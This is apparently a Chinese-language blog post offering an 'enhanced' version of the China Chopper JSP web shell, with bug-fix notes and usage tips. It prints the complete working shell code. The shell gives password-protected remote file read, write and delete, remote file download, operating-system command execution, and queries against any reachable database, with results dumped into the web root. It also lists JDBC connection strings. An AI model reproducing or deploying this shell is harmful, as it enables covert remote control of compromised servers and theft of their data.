某些朋友需求,这里简单的修改了下菜刀原作者的JSP脚本。主要是修复了一些BUG和代码优化,新增了查询自定义备份功能。

修复BUG:

1、初始化获取容器绝对路径错误如:原本路径是D:\wooyun菜刀连接默认跳转到了:D:\wooyun\wooyun目录。

2、修改了无法连接Oracle数据库问题

3、修改了远程下载代码

4、重新压了下代码

新的客户端代码如下:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd="023";String EC(String s,String c)throws Exception{return s;}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2){os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception{Connection c = GC(s);Statement m = c.createStatement(1005, 1008);BufferedWriter bw = null;try {ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (int i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file = new File(p);file.mkdirs();bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(p +q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while (r.next()){for(int i=1;i<=n;i++) {if(q.indexOf("--f:")!=-1){bw.write(EC(r.getString(i), cs)+"\t");bw.flush();}else{sb.append(EC(r.getString(i), cs) + "\t|\t");}}bw.newLine();sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch (Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
 %><%
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");String s = request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs, z1, z2,sb,s.replaceAll("\\\\","/")+"/images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
 %>

执行自定义查询备份:

在任意的SQL语句后面加上:--f:xxxx.sql(任意文件名和后缀)

如:

SELECT * FROM DEPT ORDER BY 1 DESC --f:2.sql

程序会自动在网站根目录新建或打开images文件夹写入2.sql.

菜刀Jsp脚本增强版

直接访问菜刀URL地址报错问题:

这是由于菜刀默认必须传入编码,如果编码为空那么会爆一个异常导致500错误页面。如果你硬是要看到不报错的页面你可以这样去访问:

http://127.0.0.1/wooyun/2.jsp?z0=utf-8

菜刀连接各种数据库问题:

菜刀其实是可以连接任意数据库的,但是有个前提,在当前应用或容器下必须有对应的数据库的jar包,否则无法连接。jar包位置在/WEB-INF/lib目录,没有对应的jar则无法连接。

连接任意数据库的URL大致格式(抄袭下面的格式无效,自行小修改即可)

//ORACLE
private static final String ORACLEDRIVER = "oracle.jdbc.driver.OracleDriver";
private static final String ORACLEURL = "jdbc:oracle:thin:@[host]:[port]:[dbname]";

//MSSQL2000
private static final String MSSQL2000DRIVER = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
private static final String MSSQL2000URL = "jdbc:microsoft:sqlserver://[host]:[port];databasename=[dbname]";

//MSSQL2005
private static final String MSSQL2005DRIVER = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
private static final String MSSQL2005URL = "jdbc:sqlserver://[host]:[port];databaseName=[dbname]";

//MYSQL
private static final String MYSQLDRIVER = "com.mysql.jdbc.Driver";
private static final String MYSQLURL = "jdbc:mysql://[host]:[port]/[dbname]";

//Db2
private static final String IBMDB2DRIVER = "com.ibm.db2.jcc.DB2Driver";
private static final String IBMDB2URL = "jdbc:db2://[host]:[port]/[dbname]";

//Informix
private static final String INFORMIXDRIVER = "com.informix.jdbc.IfxDriver";
private static final String INFORMIXURL = "jdbc:informix-sqli://[host]:[port]/[dbname]";

//Sybase2
private static final String SYBASE2DRIVER = "com.sybase.jdbc2.jdbc.SybDriver";
private static final String SYBASE2URL = "jdbc:sybase:Tds:[host]:[port]?ServiceName=[dbname]";

//Sybase3
private static final String SYBASE3DRIVER = "com.sybase.jdbc3.jdbc.SybDriver";
private static final String SYBASE3URL = "jdbc:sybase:Tds:[host]:[port]?ServiceName=[dbname]";

//PostgreSQL
private static final String POSTGRESQLDRIVER = "org.postgresql.Driver";
private static final String POSTGRESQLURL = "jdbc:postgresql://[host]:[port]/[dbname]";

//Teradata
private static final String TERADARADRIVER = "com.ncr.teradata.TeraDriver";
private static final String TERADARAURL = "jdbc:teradata://[host]:[port]/[dbname]";

//Netezza
private static final String NETEZZADRIVER = "org.netezza.Driver";
private static final String NETEZZADURL = " jdbc:netezza://[host]:[port]/[dbname]";

[原文地址]